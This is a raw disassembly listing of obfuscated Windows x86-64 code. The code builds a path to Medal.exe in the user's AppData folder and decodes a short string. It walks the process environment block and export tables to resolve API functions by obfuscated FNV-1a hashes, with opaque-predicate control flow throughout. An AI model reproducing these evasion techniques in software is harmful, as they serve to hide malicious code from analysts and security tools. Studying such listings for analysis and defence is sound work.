lea rsi, [rbp + 0x120]
mov rcx, rsi
call fcn.1400c4c10
lea rdx, str.C:Users_
mov r8d, 9
mov rcx, rsi
call fcn.1400bd4c0
lea rsi, [rbp + 0x310]
mov rcx, rsi
call fcn.1400c4c10
lea rdx, str.AppDataLocalMedalMedal.exe
mov r8d, reloc.WLDAP32.dll_Ordinal_30
mov rcx, rsi
call fcn.1400bd4c0
mov eax, dword [0x140264fcb]
mov dword [rbp + 0x337], eax
mov rax, qword [0x140264fc4]
mov qword [rbp + 0x330], rax
mov eax, dword [0x1406d43a8]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp dword [0x1406d43ac], 0xa
setge r11b
setl r14b
and r11b, dl
test edx, edx
sete r9b
mov edx, dword [0x1406ce740]
lea edi, [rdx - 1]
imul edi, edx
test dil, 1
sete r8b
cmp dword [0x1406ce744], 0xa
setl r10b
test r11b, r11b
jne 0x1401a2dc6
mov ebx, r14d
and bl, r9b
xor bl, 1
xor r14b, r9b
mov edx, r14d
xor dl, bl
not r14b
or r14b, bl
and r14b, dl
or r10b, r8b
xor ebx, ebx
movzx r8d, byte [rbp + rbx + 0x330]
mov esi, 0xffffffc6
sub esi, ebx
mov edi, esi
and edi, 0xb4fd8676
lea eax, [rbx + 0x39]
mov edx, eax
and edx, 0x4b027989
or edx, edi
xor edx, r8d
xor edx, 0x4b027989
or edx, esi
and eax, 0x95
mov edi, 0x46
sub edi, ebx
and edi, 0x6a
or edi, eax
xor edi, 0x95
and edi, r8d
mov eax, edx
not eax
and eax, edi
xor edi, edx
xor edi, eax
test r14b, r14b
jne 0x1401a2d2c
not dil
mov byte [rbp + rbx + 0x330], dil
add rbx, 1
cmp rbx, 0xb
jne 0x1401a2cd8
test r11b, r11b
jne 0x1401a2d46
test r10b, r10b
jne 0x1401a2dc8
mov ebx, 0x46
xor edi, edi
movzx r8d, byte [rbp + rdi + 0x330]
lea esi, [rbx - 0x80]
mov edx, esi
and edx, 0xb4fd8676
lea eax, [rdi + 0x39]
mov ecx, eax
and ecx, 0x4b027989
or ecx, edx
xor ecx, r8d
xor ecx, 0x4b027989
or ecx, esi
and eax, 0x95
mov edx, ebx
and edx, 0x6a
or edx, eax
xor edx, 0x95
and edx, r8d
mov eax, ecx
not eax
and eax, edx
xor edx, ecx
xor edx, eax
not dl
mov byte [rbp + rdi + 0x330], dl
add rdi, 1
add ebx, 0xffffffff
cmp rdi, 0xb
jne 0x1401a2d57
mov ebx, 0
test r11b, r11b
je 0x1401a2cd8
jmp 0x1401a2dc6
mov eax, dword [0x1406d4d80]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1406d4d84], 0xa
setl cl
or cl, al
mov byte [rbp + 0x520], cl
mov eax, dword [0x1406d4d88]
mov qword [rbp + 0x560], rax
mov eax, dword [0x1406d4d8c]
mov dword [rbp + 0x620], eax
je 0x1401a2e5a
mov rax, qword [rbp + 0x560]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
mov dword [rbp + 0x630], ecx
cmp dword [rbp + 0x620], 0xa
jl 0x1401a2e2f
cmp dword [rbp + 0x630], 0
jne 0x1401a2e58
mov eax, dword [0x1406d3d98]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1406d3d9c], 0xa
setl cl
or cl, al
cmp cl, 1
jne 0x1401a30cb
jmp 0x1401a2e7b
jmp 0x1401a2e58
mov rax, qword [rbp + 0x560]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
mov dword [rbp + 0x630], ecx
jmp 0x1401a30e2
jmp 0x1401a2e75
jmp 0x1401a2e77
jmp 0x1401a2e79
mov rax, qword gs:[0x60]
test cl, cl
je 0x1401a30cb
cmp dword [0x1406d3e58], 0xa
jl 0x1401a2eaa
mov ecx, dword [0x1406d3e5c]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x1401a30c7
mov ecx, dword [0x1406d3da8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1406d3dac], 0xa
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x640], rax
setl al
cmp dword [0x1406d3db8], 0xa
jl 0x1401a2eef
mov edx, dword [0x1406d3dbc]
lea ebx, [rdx - 1]
imul ebx, edx
and ebx, 1
jne 0x1401a30c9
or al, cl
add qword [rbp + 0x640], 0x10
mov rcx, qword [rbp + 0x640]
mov rcx, qword [rcx]
mov qword [rbp + 0x640], rcx
mov r13, qword [rcx + 0x30]
movsxd rcx, dword [r13 + 0x3c]
mov edx, dword [rcx + r13 + 0x88]
mov rcx, rdx
mov qword [rbp + 0x650], rdx
test rdx, rdx
je 0x1401a2ef9
mov rcx, qword [rbp + 0x650]
mov ecx, dword [r13 + rcx + 0x18]
mov r15, rcx
jmp 0x1401a2f4e
mov esi, 0x811c9dc5
mov rcx, r15
cmp esi, 0xd6b7f315
je 0x1401a30d9
sub r15, 1
jb 0x1401a2ef9
mov r10d, ecx
add r10d, 0xffffffff
mov rcx, qword [rbp + 0x650]
mov ecx, dword [r13 + rcx + 0x20]
add rcx, r13
mov r12d, dword [rcx + r10*4]
mov cl, byte [r13 + r12]
test cl, cl
je 0x1401a2f3a
add r12, r13
mov esi, 0x811c9dc5
jmp 0x1401a308f
mov ecx, esi
and ecx, 0x7ab683ed
or ecx, 0x1410812
mov r9d, esi
and r9d, 0x85497c12
xor r9d, ecx
mov ecx, r9d
xor ecx, 0x50af90c3
xor r9d, 0xfebef7ed
and r9d, ecx
mov r11d, esi
and r11d, 0xae11672e
mov r8d, edx
and r8d, 0xae11672e
mov ecx, r9d
not ecx
mov r14d, r11d
not r14d
and ecx, r14d
and r14d, 0x6400fcd7
xor esi, 0x24006406
and esi, r11d
or esi, r14d
xor esi, r9d
xor esi, 0x6400fcd7
xor r11d, r9d
or r11d, ecx
not r11d
or r11d, esi
mov ecx, edx
xor ecx, 0xac106400
and ecx, r8d
mov esi, edx
and esi, 0x12c8050
mov ebx, edx
and ebx, 0x50c21881
lea edi, [rbx + 0x9148106]
xor edi, esi
xor ebx, 0xfdd6fc81
mov esi, edx
and esi, 0xac106400
or esi, 0x52831b03
xor esi, ecx
mov ecx, esi
xor ecx, 0x53af9b53
xor edi, 0xa390278
and edi, ecx
or esi, 0x400080
and esi, ebx
or esi, edi
mov ecx, edx
and ecx, 0x51ee98d1
or ecx, 0x2e016708
xor ecx, r8d
xor ecx, 0x7fefffd9
xor edx, 0xae11672e
or edx, ecx
mov ecx, edx
xor ecx, esi
not ecx
not edx
and edx, esi
or edx, ecx
xor edx, r11d
imul esi, edx, 0x1000193
mov cl, byte [r12]
test cl, cl
je 0x1401a2f3f
add r12, 1
movsx edx, cl
add cl, 0xbf
cmp cl, 0x19
ja 0x1401a2f84
test al, al
je 0x1401a30a2
mov ecx, edx
and ecx, 0xebcba6fa
and edx, 0x14345925
or edx, 0xab402048
xor edx, ecx
xor edx, 0xab402068
jmp 0x1401a2f84
jmp 0x1401a30c7
jmp 0x1401a30c9
mov rax, qword gs:[0x60]
jmp 0x1401a2e7b
cmp byte [rbp + 0x520], 0
jne 0x1401a3122
cmp dword [rbp + 0x620], 0xa
jl 0x1401a30f4
cmp dword [rbp + 0x630], 0
jne 0x1401a3120
mov eax, dword [0x1406d3d98]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1406d3d9c], 0xa
setl cl
or cl, al
cmp cl, 1
jne 0x1401a3c7f
jmp 0x1401a3a79
jmp 0x1401a3120
mov rcx, qword [rbp + 0x650]
mov eax, dword [r13 + rcx + 0x1c]
mov ecx, dword [r13 + rcx + 0x24]
add rax, r13
add rcx, r13
movzx ecx, word [rcx + r10*2]
mov esi, dword [rax + rcx*4]
add rsi, r13
lea rdx, [rbp + 0x330]
xor ecx, ecx
call rsi
cmp dword [0x1406d4d84], 0xa
jl 0x1401a3198
mov eax, dword [0x1406d4d80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401a3198
lea rcx, str.username
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rdi, rax
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
lea rcx, [rbp + 0x120]
mov rdx, rdi
mov r8, rax
call fcn.1401d88f0
cmp dword [0x1406d3ca8], 0xa
jl 0x1401a3229
mov rax, qword gs:[0x60]
test cl, cl
je 0x1401a3c7f
cmp dword [0x1406d3e58], 0xa
jl 0x1401a3aa8
mov ecx, dword [0x1406d3e5c]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x1401a3c7b
mov ecx, dword [0x1406d3da8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1406d3dac], 0xa
mov r11, qword [rax + 0x18]
setl r12b
cmp dword [0x1406d3db8], 0xa
jl 0x1401a3ae7
mov edx, dword [0x1406d3dbc]
lea ebx, [rdx - 1]
imul ebx, edx
and ebx, 1
jne 0x1401a3c7d
or r12b, cl
add r11, 0x10
mov r11, qword [r11]
mov r14, qword [r11 + 0x30]
movsxd rcx, dword [r14 + 0x3c]
mov r15d, dword [rcx + r14 + 0x88]
test r15, r15
je 0x1401a3aee
mov ecx, dword [r14 + r15 + 0x18]
mov r8, rcx
jmp 0x1401a3b24
mov edi, 0x811c9dc5
mov rcx, r8
cmp edi, 0xd6b7f315
je 0x1401a2e07
sub r8, 1
jb 0x1401a3aee
add ecx, 0xffffffff
mov edx, dword [r14 + r15 + 0x20]
add rdx, r14
mov r9d, dword [rdx + rcx*4]
mov cl, byte [r14 + r9]
test cl, cl
je 0x1401a3b10
add r9, r14
mov edi, 0x811c9dc5
jmp 0x1401a3c42
mov ecx, edi
and ecx, 0x7ab683ed
or ecx, 0x1410812
mov esi, edi
and esi, 0x85497c12
xor esi, ecx
mov ecx, esi
xor ecx, 0x50af90c3
xor esi, 0xfebef7ed
and esi, ecx
mov eax, edi
and eax, 0xae11672e
mov r10d, ebx
and r10d, 0xae11672e
mov ecx, esi
not ecx
mov edx, eax
not edx
and ecx, edx
and edx, 0x6400fcd7
xor edi, 0x24006406
and edi, eax
or edi, edx
xor edi, esi
xor edi, 0x6400fcd7
xor eax, esi
or eax, ecx
not eax
or eax, edi
mov ecx, ebx
xor ecx, 0xac106400
and ecx, r10d
mov edi, ebx
and edi, 0x12c8050
mov esi, ebx
and esi, 0x50c21881
lea edx, [rsi + 0x9148106]
xor edx, edi
xor esi, 0xfdd6fc81
mov edi, ebx
and edi, 0xac106400
or edi, 0x52831b03
xor edi, ecx
mov ecx, edi
xor ecx, 0x53af9b53
xor edx, 0xa390278
and edx, ecx
or edi, 0x400080
and edi, esi
or edi, edx
mov ecx, ebx
and ecx, 0x51ee98d1
or ecx, 0x2e016708
xor ecx, r10d
xor ecx, 0x7fefffd9
xor ebx, 0xae11672e
or ebx, ecx
mov ecx, ebx
xor ecx, edi
not ecx
not ebx
and ebx, edi
or ebx, ecx
xor ebx, eax
imul edi, ebx, 0x1000193
mov cl, byte [r9]
test cl, cl
je 0x1401a3b15
add r9, 1
movsx ebx, cl
add cl, 0xbf
cmp cl, 0x19
ja 0x1401a3b4e
test r12b, r12b
je 0x1401a3c55
mov ecx, ebx
and ecx, 0xebcba6fa
and ebx, 0x14345925
or ebx, 0xab402048
xor ebx, ecx
xor ebx, 0xab402068
jmp 0x1401a3b4e
jmp 0x1401a3c7b
jmp 0x1401a3c7d
mov rax, qword gs:[0x60]
jmp 0x1401a3a79